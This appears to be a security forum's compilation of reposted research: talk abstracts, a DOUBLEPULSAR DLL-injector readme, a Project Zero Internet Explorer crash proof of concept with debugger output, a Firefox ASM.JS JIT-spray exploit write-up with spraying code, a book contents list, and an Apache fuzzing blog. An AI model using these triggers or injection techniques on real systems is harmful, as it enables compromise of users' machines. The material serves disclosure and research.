Nytro

Publicat pe 17 iul. 2017 Java Serialization is commonly used by large-scale enterprise applications and presents significant opportunities for attacks that often lead to unauthenticated remote command execution against the underlying application servers. While serialization exploits are not new, identifying and exploiting serialization vulnerabilities can be more involved than other common vulnerabilities. During this talk I’ll look at some real attacks against Java serialization and demonstrate how to identify and attack serialization vulnerabilities to reap the rewards of RCE.

Publicat pe 17 iul. 2017 Due to technical difficulties with the venue we couldn't get a feed off of the in house mixer until after lunch, so audio here is recorded using a small omni on the floor which had trouble picking up the audio properly. Our sincerest apologies, but this was the best we could do. This talk aims to provide an overview of the Windows kernel mode attack surface, how to interact with it and the challenges in exploiting kernel memory corruption vulnerabilities on the latest releases of Windows. With the rise of sandboxes and locked down user accounts attackers are increasingly resorting to attacking kernel mode code to gain full access to compromised systems. This talk will demonstrate the tools available for finding bugs in Windows kernel mode code and drivers together with highlighting some of the lower hanging fruit, common mistakes and the steps being taken (or lack of steps being taken) to mitigate the risks posed. The talk will then cover common exploitation techniques to gather information about the state of kernel mode memory and to gain code execution as SYSTEM. Finally the talk will walk through exploiting a Kernel mode memory corruption vulnerability on a modern release of Windows.

Publicat pe 17 iul. 2017 This talk illustrates a number of techniques to smuggle and reshape HTTP requests using features such as HTTP Pipelining that are not normally used by testers. The strange behaviour of web servers with different technologies will be reviewed using HTTP versions 1.1, 1.0, and 0.9 before HTTP v2 becomes too popular! Some of these techniques might come in handy when dealing with a dumb WAF or load balancer that blocks your attacks.

Author: Matt Hillman (matt.hillman@countercept.com - @sp1nl0ck) Company: Countercept (@countercept) Website: https://countercept.com A utility to use the usermode shellcode from the DOUBLEPULSAR payload to reflectively load an arbitrary DLL into another process, for use in testing detection techniques or other security research. Background The DOUBLEPULSAR payload released by Shadow Brokers initially runs in kernel mode and reflectively loads a DLL into a usermode process using an Asynchronous Procedure Call (APC). The actual loading of the DLL occurs in usermode, and this utility makes use of that usermode shellcode to load a DLL in a specified process and execute a given ordinal. This is to help with testing attack detection and digital forensic incident response techniques against the payload. The loader is of interest as it works with any arbitrary DLL without making use of the standard LoadLibrary call. Avoiding LoadLibrary can make the load more stealthy as it avoids the need to write the DLL to disk, can avoid anything monitoring LoadLibrary calls, and can also avoid having an entry in the Process Environment Block (PEB), which is usually how a list of loaded modules is obtained. Such techniques are now fairly common place, but up to now we were not aware of any public code that could load an arbitrary DLL in this way - existing code requires the DLL to be custom built to support being loaded. DOUBLEPULSAR is different in that it implements a more complete loader that can load almost any DLL. This loader works on almost any version of Windows as-is. While DOUBLEPULSAR itself uses an APC call from kernel mode queued against a usermode process, this utility queues the APC from usermode; this makes little practical difference. Additionally, this utility can trigger the shellcode using CreateRemoteThread instead. Usage C:\>DOUBLEPULSAR-usermode-injector.exe USAGE: <pid> <shellcode_file> <dll_to_inject> <ordinal_to_execute> [use_CreateRemoteProcess] The last argument is optional, if specified 'true' then CreateRemoteProcess will be used instead of using an APC call which is the default way Doublepulsar works. This is to allow people to test it out in different ways. The default is using APC. This will inject into ALL threads in the target, which makes it more likely one of them will trigger quickly. This is only suitable for testing as it may be undesirable to call the payload more than once. For example, inject somelibrary.dll into process 1234 using an Asynchronous Procedure Call (APC) and call ordinal 1: C:\>dopu-usermode-injector.exe 1234 dopu-64bit-usermode-shellcode.bin somelibrary.dll 1 Using thread: 2456 Using thread: 2032 Using thread: 3876 Or as above, but using CreateRemoteThread instead of APC: C:\>dopu-usermode-injector.exe 1234 dopu-64bit-usermode-shellcode.bin somelibrary.dll 1 true More information A full analysis of the usermode shellcode of DOUBLEPULSAR: https://www.countercept.com/our-thinking/doublepulsar-usermode-analysis-generic-reflective-dll-loader/ Prior work on the kernel component of DOUBLEPULSAR: https://www.countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/ https://zerosum0x0.blogspot.co.uk/2017/04/doublepulsar-initial-smb-backdoor-ring.html Sursa: https://github.com/countercept/doublepulsar-usermode-injector

There is a memory corruption issue in IE that can be triggered with svg <use> element. The bug was confirmed on IE Version 11.0.9600.18617 (Update Version 11.0.40) running on Windows 7 64-bit. I was unable to reproduce it on Windows 10. PoC: ========================================== <!-- saved from url=(0014)about:internet --> <script> function go() { setTimeout("window.location.reload()",100); pattern.replaceChild(use,pattern.childNodes[0]); } </script> <body onload=go()> <!--this is a comment--> <svg> <use id="use" xlink:href="#fecomp"> <symbol> <feComposite id="fecomp" /> </use> <pattern id="pattern"> <foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><output>2)lt</output> ========================================== Following is the crash log when the PoC is ran on 64-bit IE in the single process mode (TabProcGrowth=0). (1a38.2a98): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. MSHTML!CMarkup::DestroySplayTree+0x10a: 000007fe`e8de2723 48894110 mov qword ptr [rcx+10h],rax ds:00000000`700400d6=???????????????? 0:013> r rax=0000000012a69010 rbx=0000000012a68c78 rcx=00000000700400c6 rdx=0000000000000001 rsi=0000000012a68f20 rdi=0000000012a58000 rip=000007fee8de2723 rsp=0000000012d9bfb0 rbp=0000000012d9c029 r8=0000000000000000 r9=0000000012a58000 r10=0000000012a20000 r11=0000000000000025 r12=0000000012a68f20 r13=0000000012a68f20 r14=0000000012a20000 r15=0000000012a68bb0 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 MSHTML!CMarkup::DestroySplayTree+0x10a: 000007fe`e8de2723 48894110 mov qword ptr [rcx+10h],rax ds:00000000`700400d6=???????????????? 0:013> k # Child-SP RetAddr Call Site 00 00000000`12d9bfb0 000007fe`e8de1ddc MSHTML!CMarkup::DestroySplayTree+0x10a 01 00000000`12d9c090 000007fe`e8ec9289 MSHTML!CMarkup::UnloadContents+0x49b 02 00000000`12d9c170 000007fe`e8ec9171 MSHTML!CMarkup::TearDownMarkupHelper+0xd5 03 00000000`12d9c1a0 000007fe`e90788b2 MSHTML!CMarkup::TearDownMarkup+0x75 04 00000000`12d9c1f0 000007fe`e998dc7a MSHTML!COmWindowProxy::SwitchMarkup+0x562 05 00000000`12d9c360 000007fe`e969ce9f MSHTML!COmWindowProxy::ExecRefresh+0xa3a 06 00000000`12d9c500 000007fe`e8d99d75 MSHTML!GlobalWndOnMethodCall+0x240 07 00000000`12d9c5a0 00000000`76dd9bbd MSHTML!GlobalWndProc+0x150 08 00000000`12d9c620 00000000`76dd98c2 USER32!UserCallWinProcCheckWow+0x1ad 09 00000000`12d9c6e0 000007fe`f2f83395 USER32!DispatchMessageWorker+0x3b5 0a 00000000`12d9c760 000007fe`f2f7df5b IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 0b 00000000`12d9f9e0 000007fe`fd09572f IEFRAME!LCIETab_ThreadProc+0x3a3 0c 00000000`12d9fb10 000007fe`f0b7925f iertutil!Microsoft::WRL::ActivationFactory<Microsoft::WRL::Implements<Microsoft::WRL::FtmBase,Windows::Foundation::IUriRuntimeClassFactory,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil>,Windows::Foundation::IUriEscapeStatics,Microsoft::WRL::Details::Nil,0>::GetTrustLevel+0x5f 0d 00000000`12d9fb40 00000000`76ed59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 0e 00000000`12d9fb90 00000000`7700a561 kernel32!BaseThreadInitThunk+0xd 0f 00000000`12d9fbc0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Sursa: https://bugs.chromium.org/p/project-zero/issues/detail?id=1233

The Return of the JIT (Part 1) TL;DR: This is the story about ASM.JS JIT-Spray in Mozilla Firefox (x86) on Windows tracked as CVE-2017-5375 and CVE-2017-5400. It allows to fully bypass DEP and ASLR. I always liked the idea of JIT-Spray since the first time I saw it being used for Flash in 2010. Just to name a few, JIT-Spray has been used to exploit bugs in Apple Safari, create info leak gadgets in Flash, attack various other client software, and has even been abusing Microsoft’s WARP Shader JIT Engine @asintsov wrote in 2010: Yes, the idea will never die, and from time to time JIT-Spray reappears… JIT-Spray It greatly simplifies exploiting a memory corruption bug such as an use-after-free, because the attacker only needs to hijack the intruction pointer and jump to JIT-Sprayed shellcode. There is no need to disclose code locations or base addresses of DLLs, and there is no need for any code-reuse. JIT-Spray is usually possible when: Machine code can be hidden within constants of a high-level language such as JavaScript: This bypasses DEP. The attacker is able to force the JIT compiler to emit the constants into many execuable code regions whose addresses are predictable: This bypasses ASLR. For example to achieve (1), we can inject NOPS (0x90) in ASM.JS code with: Injecting NOPS with ASM.JS constants 1 2 VAL = (VAL + 0xA8909090)|0; VAL = (VAL + 0xA8909090)|0; Firefox’ ASM.JS compiler generates the following x86 machine code: Native x86 code generated from ASM.JS 1 2 00: 05909090A8 ADD EAX, 0xA8909090 05: 05909090A8 ADD EAX, 0xA8909090 When we jump into to offset 01 (the middle of the first instruction) we can execute our hidden code: Hidden instructions within emitted x86 code 1 2 3 4 5 6 7 8 01: 90 NOP 02: 90 NOP 03: 90 NOP 04: A805 TEST AL, 05 06: 90 NOP 07: 90 NOP 08: 90 NOP 09: A8... Thus, in our four-byte constants, we have three bytes to hide our code and one byte (0xA8) to wrap the ADD EAX, …instruction into the NOP-like instruction TEST AL, 05. To achieve condition (2), i.e., to create many executable regions containing our code we request the ASM.JS module many times: ASM.JS JIT-Sprayer 1 2 3 4 5 6 7 8 9 10 11 12 function asm_js_module(){ "use asm" function asm_js_function(){ /* attacker controlled asm.js code */ } return asm_js_function } modules = [] /* create 0x1000 executable regions containing our code */ for (i=0; i<=0x1000; i++){ modules[i] = asm_js_module() // request asm.js module } Technically, ASM.JS is an ahead-of-time (AOT) compiler and not a just-in-time (JIT) compiler. Hence, the function asm_js_function() doesn’t need to be called to get your machine code injected into memory at predictable addresses. It is sufficient to load a web page containing the ASM.JS script. The Flaw Each time an ASM.JS module is requested, CodeSegment::create() is called which in turn calls AllocateCodeSegment()in firefox-50.1.0/js/src/asmjs/WasmCode.cpp line #206 (based on the source of Firefox 50.1.0): firefox-50.1.0/js/src/asmjs/WasmCode.cpp (CodeSegment::create) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 191 /* static */ UniqueCodeSegment 192 CodeSegment::create(JSContext* cx, 193 const Bytes& bytecode, 194 const LinkData& linkData, 195 const Metadata& metadata, 196 HandleWasmMemoryObject memory) 197 { 198 MOZ_ASSERT(bytecode.length() % gc::SystemPageSize() == 0); 199 MOZ_ASSERT(linkData.globalDataLength % gc::SystemPageSize() == 0); 200 MOZ_ASSERT(linkData.functionCodeLength < bytecode.length()); 201 202 auto cs = cx->make_unique<CodeSegment>(); 203 if (!cs) 204 return nullptr; 205 206 cs->bytes_ = AllocateCodeSegment(cx, bytecode.length() + linkData.globalDataLength); AllocateCodeSegment() further calls AllocateExecutableMemory() in line #67: firefox-50.1.0/js/src/asmjs/WasmCode.cpp (AllocateCodeSegment) 1 2 3 4 5 6 7 8 9 10 11 58 AllocateCodeSegment(ExclusiveContext* cx, uint32_t totalLength) 59 { 60 if (wasmCodeAllocations >= MaxWasmCodeAllocations) 61 return nullptr; 62 63 // Allocate RW memory. DynamicallyLinkModule will reprotect the code as RX. 64 unsigned permissions = 65 ExecutableAllocator::initialProtectionFlags(ExecutableAllocator::Writable); 66 67 void* p = AllocateExecutableMemory(nullptr, totalLength, permissions, 68 "wasm-code-segment", gc::SystemPageSize()); Finally, AllocateExecutableMemory() invokes VirtualAlloc() which returns a new RW (PAGE_READWRITE) region aligned to a 64KB boundary (0xXXXX0000) (firefox-50.1.0/js/src/jit/ExecutableAllocatorWin.cpp, line #190). firefox-50.1.0/js/src/jit/ExecutableAllocatorWin.cpp (AllocateExecutableMemory) 1 2 3 4 5 6 7 8 9 10 11 12 179 void* 180 js::jit::AllocateExecutableMemory(void* addr, size_t bytes, unsigned permissions, const char* tag, 181 size_t pageSize) 182 { 183 MOZ_ASSERT(bytes % pageSize == 0); 184 185 #ifdef JS_CPU_X64 186 if (sJitExceptionHandler) 187 bytes += pageSize; 188 #endif 189 190 void* p = VirtualAlloc(addr, bytes, MEM_COMMIT | MEM_RESERVE, permissions); If we set a breakpoint on VirtualAlloc() in WinDbg, we get the following call stack during runtime (Firefox 50.1.0): Stack trace in WinDbg 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 0:000> kP a # ChildEBP RetAddr 00 008fe060 670ef66e KERNEL32!VirtualAllocStub 01 (Inline) -------- xul!js::jit::AllocateExecutableMemory+0x10 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\jit\executableallocatorwin.cpp @ 190] 02 008fe078 670f65c7 xul!AllocateCodeSegment( class js::ExclusiveContext * cx = 0x04516000, unsigned int totalLength = <Value unavailable error>)+0x23 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\wasmcode.cpp @ 67] 03 008fe0b8 670de070 xul!js::wasm::CodeSegment::create( struct JSContext * cx = 0x04516000, class mozilla::Vector<unsigned char,0,js::SystemAllocPolicy> * bytecode = 0x08c61008, struct js::wasm::LinkData * linkData = 0x08c61020, struct js::wasm::Metadata * metadata = 0x06ab68d0, class JS::Handle<js::WasmMemoryObject *> memory = class JS::Handle<js::WasmMemoryObject *>)+0x67 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\wasmcode.cpp @ 206] 04 008fe184 6705f99d xul!js::wasm::Module::instantiate( struct JSContext * cx = 0x04516000, class JS::Handle<JS::GCVector<JSFunction *,0,js::TempAllocPolicy> > funcImports = class JS::Handle<JS::GCVector<JSFunction *,0,js::TempAllocPolicy> >, class JS::Handle<js::WasmTableObject *> tableImport = class JS::Handle<js::WasmTableObject *>, class JS::Handle<js::WasmMemoryObject *> memoryImport = class JS::Handle<js::WasmMemoryObject *>, class mozilla::Vector<js::wasm::Val,0,js::SystemAllocPolicy> * globalImports = 0x008fe200, class JS::Handle<JSObject *> instanceProto = class JS::Handle<JSObject *>, class JS::MutableHandle<js::WasmInstanceObject *> instanceObj = class JS::MutableHandle<js::WasmInstanceObject *>)+0x94 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\wasmmodule.cpp @ 689] 05 008fe260 6705aae6 xul!TryInstantiate( struct JSContext * cx = 0x04516000, class JS::CallArgs args = class JS::CallArgs, class js::wasm::Module * module = 0x08c61000, struct js::AsmJSMetadata * metadata = 0x06ab68d0, class JS::MutableHandle<js::WasmInstanceObject *> instanceObj = class JS::MutableHandle<js::WasmInstanceObject *>, class JS::MutableHandle<JSObject *> exportObj = class JS::MutableHandle<JSObject *>)+0x1e6 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\asmjs.cpp @ 7894] 06 008fe2c4 35713638 xul!InstantiateAsmJS( struct JSContext * cx = 0x04516000, unsigned int argc = 0, class JS::Value * vp = 0x008fe2f0)+0x88 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\asmjs.cpp @ 8008] After returning into method CodeSegment::create(), the ASM.JS compiled/native code is copied to the RW region (firefox-50.1.0/js/src/asmjs/WasmCode.cpp, line #223). And in line #229 the RW region is made executable (PAGE_EXECUTE_READ) with ExecutableAllocator::makeExecutable() invoking VirtualProtect(). firefox-50.1.0/js/src/asmjs/WasmCode.cpp making ASM.JS code executable (in CodeSegment::create) 1 2 3 4 5 6 7 223 memcpy(cs->code(), bytecode.begin(), bytecode.length()); 224 StaticallyLink(*cs, linkData, cx); 225 if (memory) 226 SpecializeToMemory(*cs, metadata, memory); 227 } 228 229 if (!ExecutableAllocator::makeExecutable(cs->code(), cs->codeLength())) { Requesting one ASM.JS module many times leads to the creation of many RX regions. Due to the allocation granularity of VirtualAlloc (64KB) we can then choose a fixed address (such as 0x1c1c0000) and can be certain that the emitted machine code is located there (containing our hidden payload). The astute reader might have noticed that constant blinding is missing and allows to emit ASM.JS constants as x86 code in the first place. Show me a PoC! Let’s see how a proof of concept looks in practice: we hide our payload within ASM.JS constants and request the ASM.JS module many times. Hence, we spray many executable code regions to occupy predictable addresses. The payload consists of two parts: Very large NOP-sled (line #35 to #74): to hit it, we can choose a predictable address, such as 0x1c1c0053, and set EIP to it. Shellcode (line #75 to #152): it resolves kernel32!WinExec()and executes cmd.exe. The payload strictly contains at most three-byte long instructions excepts MOVs, which are handled differently. It was automatically generated by a custom transformation tool shellcode2asmjs which uses the Nasm assembler and Distorm3disassembler. The payload is strongly inspired by Writing JIT-Spray-Shellcode. As no memory corruption is abused in this PoC, you have to set EIP in your favorite debugger when you are prompted to Exploiting a former Tor-Browser 0day with ASM.JS JIT-Spray Let’s take a real memory corruption (CVE-2016-9079) and see how super easy exploitation becomes when using ASM.JS JIT-Spray. This use-after-free has been analyzed thoroughly, so most of the hard work to write a custom exploit was already done. Note: We target Firefox 50.0.1 and not 50.1.0 as above. Despite JIT-Spraying executable regions, following steps are conducted: We use the bug-trigger from the bug report (line #296 to #372). We heap-spray a fake object (line #258 to #281). During runtime, the chosen values in our fake object drive the execution to a program path with an indirect call. There, EIP is set with the address of one JIT-Sprayed region (0x1c1c0054). As soon as the bug is triggered, the JIT-sprayed payload is executed and cmd.exe should pop up. That’s all. The full exploit targets Mozilla Firefox 50.0.1, and we don’t need any information-leaks and code-reuse. Note that the Tor-Browser has ASM.JS disabled by default, and hence, ASM.JS JIT-Spray won’t work unless the user enables it. I wonder if Endgames HA-CFI catches this exploit? Dynamic Payloads Above exploits contain “hardcoded” payloads within constants. That makes it kind of cumbersome to use different shellcodes. However, we can generate ASM.JS scripts on the fly and invoke them during runtime. A PoC where payloads are exchangeable uses the following: JavaScript code creates ASM.JS script-code dynamically. The ASM.JS script is included with the Blob JavaScript API (line #88 to #137). A custom VirtualAlloc stage0. It allocates RWX pages and copies the actual stage1 payload (i.e. metasploit shellcode) to it. Afterwards, stage0 jumps to stage1 (line #53 to #69). This way, you can replace the payload with your favorite shellcode of choice (line #33). The PoC and especially the stage0 payload were also auto-generated with the custom shellcode2asmjs tool. The Incomplete Fix Mozilla fixed this issue in Firefox 51 on Jan. 24, 2017. However, the fix can be bypassed which resulted in CVE-2017-5400. This will be explained in part 2. Posted by Rh0 advisory, exploit Sursa: https://rh0dev.github.io/blog/2017/the-return-of-the-jit/

Writing a Simple Operating System — from Scratch by Nick Blundell School of Computer Science, University of Birmingham, UK Draft: December 2, 2010 Copyright c 2009–2010 Nick Blundell Contents Contents ii 1 Introduction 1 2 Computer Architecture and the Boot Process 3 2.1 The Boot Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 2.2 BIOS, Boot Blocks, and the Magic Number . . . . . . . . . . . . . . . . 4 2.3 CPU Emulation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.3.1 Bochs: A x86 CPU Emulator . . . . . . . . . . . . . . . . . . . 6 2.3.2 QEmu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 2.4 The Usefulness of Hexadecimal Notation . . . . . . . . . . . . . . . . . . 6 3 Boot Sector Programming (in 16-bit Real Mode) 8 3.1 Boot Sector Re-visited . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 3.2 16-bit Real Mode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3.3 Erm, Hello? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3.3.1 Interrupts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 3.3.2 CPU Registers . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 3.3.3 Putting it all Together . . . . . . . . . . . . . . . . . . . . . . . 11 3.4 Hello, World! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 3.4.1 Memory, Addresses, and Labels . . . . . . . . . . . . . . . . . . 13 3.4.2 ’X’ Marks the Spot . . . . . . . . . . . . . . . . . . . . . . . . . 13 Question 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 3.4.3 Defining Strings . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 3.4.4 Using the Stack . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 Question 2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 3.4.5 Control Structures . . . . . . . . . . . . . . . . . . . . . . . . . 17 Question 3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 3.4.6 Calling Functions . . . . . . . . . . . . . . . . . . . . . . . . . . 19 3.4.7 Include Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 3.4.8 Putting it all Together . . . . . . . . . . . . . . . . . . . . . . . 21 Question 4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 3.4.9 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 ii CONTENTS iii 3.5 Nurse, Fetch me my Steth-o-scope . . . . . . . . . . . . . . . . . . . . . 22 3.5.1 Question 5 (Advanced) . . . . . . . . . . . . . . . . . . . . . . . 23 3.6 Reading the Disk . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 3.6.1 Extended Memory Access Using Segments . . . . . . . . . . . . 23 3.6.2 How Disk Drives Work . . . . . . . . . . . . . . . . . . . . . . . 24 3.6.3 Using BIOS to Read the Disk . . . . . . . . . . . . . . . . . . . 27 3.6.4 Putting it all Together . . . . . . . . . . . . . . . . . . . . . . . 28 4 Entering 32-bit Protected Mode 30 4.1 Adapting to Life Without BIOS . . . . . . . . . . . . . . . . . . . . . . . 31 4.2 Understanding the Global Descriptor Table . . . . . . . . . . . . . . . . 32 4.3 Defining the GDT in Assembly . . . . . . . . . . . . . . . . . . . . . . . 35 4.4 Making the Switch . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 4.5 Putting it all Together . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 5 Writing, Building, and Loading Your Kernel 41 5.1 Understanding C Compilation . . . . . . . . . . . . . . . . . . . . . . . . 41 5.1.1 Generating Raw Machine Code . . . . . . . . . . . . . . . . . . 41 5.1.2 Local Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . 44 5.1.3 Calling Functions . . . . . . . . . . . . . . . . . . . . . . . . . . 46 5.1.4 Pointers, Addresses, and Data . . . . . . . . . . . . . . . . . . . 47 5.2 Executing our Kernel Code . . . . . . . . . . . . . . . . . . . . . . . . . 49 5.2.1 Writing our Kernel . . . . . . . . . . . . . . . . . . . . . . . . . 50 5.2.2 Creating a Boot Sector to Bootstrap our Kernel . . . . . . . . . 50 5.2.3 Finding Our Way into the Kernel . . . . . . . . . . . . . . . . . 53 5.3 Automating Builds with Make . . . . . . . . . . . . . . . . . . . . . . . . 54 5.3.1 Organising Our Operating System’s Code Base . . . . . . . . . 57 5.4 C Primer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59 5.4.1 The Pre-processor and Directives . . . . . . . . . . . . . . . . . 59 5.4.2 Function Declarations and Header Files . . . . . . . . . . . . . . 60 6 Developing Essential Device Drivers and a Filesystem 62 6.1 Hardware Input/Output . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 6.1.1 I/O Buses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63 6.1.2 I/O Programming . . . . . . . . . . . . . . . . . . . . . . . . . . 63 6.1.3 Direct Memory Access . . . . . . . . . . . . . . . . . . . . . . . 65 6.2 Screen Driver . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65 6.2.1 Understanding the Display Device . . . . . . . . . . . . . . . . . 65 6.2.2 Basic Screen Driver Implementation . . . . . . . . . . . . . . . . 65 6.2.3 Scrolling the Screen . . . . . . . . . . . . . . . . . . . . . . . . . 69 6.3 Handling Interrupts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 6.4 Keyboard Driver . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 6.5 Hard-disk Driver . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 6.6 File System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 7 Implementing Processes 71 7.1 Single Processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71 7.2 Multi-processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71 CONTENTS iv 8 Summary 72 Bibliography 73 Download: http://www.cs.bham.ac.uk/~exr/lectures/opsys/10_11/lectures/os-dev.pdf

domingo, 16 de julio de 2017 From fuzzing Apache httpd server to CVE-2017-7668 and a 1500$ bounty Intro In the previous post I thoroughly described how to fuzz Apache's httpd server with American Fuzzy Lop. After writing that post and, to my surprise, got a few crashing test cases. I say "to my surprise" because anybody who managed to get some good test cases could have done it before me and, despite of it, I was the first in reporting such vulnerability. So here's the blog of it! Goal After seeing Apache httpd server crashing under AFL, lots of problems arise such as, the crashing tests doesn't crash outside of the fuzzer, the stability of the fuzzed program goes way down, etc. In this blog post we will try to give an explanation to such happenings while showing how to get the bug and, finally, we will shed some light on the crash itself. Takeaways for the reader Testcases scrapped from wikipedia Bash-fu Taos Valgrind for triage Valgrind + gdb: Learn to not always trust Valgrind rr The test cases Since this was just a testing case for myself to fuzz network based programs with AFL, I did not bother too much on getting complex or test cases that had a lot of coverage. So, in order to get a few test cases that would cover a fair amount of a vanilla installation of Apache's httpd server, I decided to look up an easy way to scrap all the headers from the List of headers - WIki Page. Bash-fu Tao 1: Butterfly knife cut The first thing I did is just copy paste the two tables under Request Fields into a text file with your editor of choice. It is important that your editor of choice doesn't replace tabs for spaces or the cut command will lose all its power. I chose my file to be called "wiki-http-headers" and after populating it, we select the third column of the tables we can do the following. Remember that the default delimiter for cut is the TAB character: ? 1 cat wiki-http-headers | cut -f3 | grep ":" | sed "s#Example....##g" | sort -u We can see that some headers are gone such as the TSV header. I ignored such and went on to fuzzing since coverage was not my concern - the real goal was to fuzz. Maybe you can find new 0-days with the missing headers! Why not? Bash-fu Tao 2: Chain punching with "for" Now that we have learned our first Tao, it is time to iterate on each header and create a test case per line. Avid bash users will already know how to do this but for these newcomers and also learners here's how: ? 1 a=0 && IFS=$'\n' && for header in $(cat wiki-http-headers | cut -f3 | grep ":" | sort -u); do echo -e "GET / HTTP/1.0\r\n$header\r\n\r\n" > "testcase$a.req";a=$(($a+1)); done && unset IFS Let me explain such an abomination quickly. There is a thing called the Internal Field Separator (IFS) which is an environment variable holding the tokens that delimit fields in bash. The IFS by default in bash considers the space, the taband the newline. Those separators will interfere with headers when encountering spaces because the for command in bash iterates over a given list of fileds (fields are separated by the IFS) - this is why we need to set the IFS to just the newline. Now we are ready to just iterate and echo each header to a different file (the a variable helps to dump each header to a file with a different name). Bash-fu Tao Video Here is one way to approach the full bash-fu Taos: The fuzzing Now that we have gathered a fair amount of (rather basic) test cases we can start now our fuzzing sessions. This section is fairly short as everything on how to fuzz Apache httpd is explained in the previous post. However, there minimal steps are: Download apr, apr-utils, nghttpd2, pcre-8 and Apache httpd 2.4.25 Install the following dependencies: sudo apt install pkg-config sudo apt install libssl-dev Patch Apache httpd Compile with the appropriate flags and installation path (PREFIX environment variable) Now it all should be ready and set up to start fuzzing Apache httpd. As you can see in the following video, with a bit of improved test cases the crash doesn't take long to come up: It is worth mentioning that I cheated for this demo a bit as I introduced already a test case I knew it would make it crash "soon". How I obtained the crashing testcase was through a combination of honggfuzz, radamsa and AFL while checking the stability + "variable behaviour" folder of AFL. The crashing Dissapointment First things first. When having a crashing test case it is mandatory to test if it is a false positive or not, right? Let's try it: Euh... it doesn't crash outside Apache. What could be happening? Troubleshooting There are a few things to test against here... - First of all we are fuzzing in persistent mode: This means that maybe our test case did make the program crash but that it was one of many. In our case the __AFL_LOOP variable was set to over 9000 (a bit too much to be honest). For those that don't know what said variable is for, it is the number of fuzzing iterations that AFL will run before restarting the whole process. So, in the end, the crashing test case AFL discovered, would need to be launched in a worst case scenario, as follows: Launch all other non-crashing 8999 inputs and then launch the crashing one (i.e. the last test case) number 9000. - The second thing to take into account is the stability that AFL reports: The stability keeps going lower and lower. Usually (if you have read the readme from AFL you can skip this part) low stability could be to either, use of random values (or use of date functions, hint hint) in your code or usage of uninitialised memory. This is key to our bug. - The third and last (and least in our case) would be the memory assigned to our fuzzed process: In this case the memory is unlimited as we are running afl with "-m none" but in other cases it can be an indicator of overflows (stack or heap based) and access to unallocated memory. Narrowing down the 9000 To test against our first assumption we need more crashing cases. To do so we just need to run AFL with our "crashing" test case only. It will take no time to find new paths/crashes which will help us narrow down our over 9000 inputs to a much lower value. Now, onto our second assumption... Relationship goals: Stability When fuzzing, we could check that stability was going down as soon as AFL was getting more and more into crashing test cases - we can tell there is some kind of correlation between the crashes and memory. To test if we are actually using uninitialised memory we can use a very handy tool called... Valgrind Valgrind is composed by a set of instrumentation tools to do dynamic analysis of your programs. By default, it is set to run "memcheck", a tool to inspect memory management. To install Valgrind on my Debian 8 I just needed to install it straight from the repositories: ? 1 sudo apt install valgrind After doing that we need to run Apache server under Valgrind with: ? 1 NO_FUZZ=1 valgrind -- /usr/local/apache-afl-persist/bin/httpd -X The NO_FUZZ environment variable is read by the code in the patch to prevent the fuzzing loop to kick in. After this we need to launch one of our "crashing" test cases into Apache server running under Valgrind and, hopefully, our second assumption about usage of uninitialised memory will be confirmed: We can confirm that, yes, Apache httpd is making use of uninitialised values but, still... I wasn't happy that Apache won't crash so let's use our Bash-fu Tao 2 to iterate over each test case and launch it against Apache. Good good, it's crashing now! We can now proceed to do some basic triage. The triage Let's do a quick analysis and see which (spoiler) header is the guilty one... gdb + 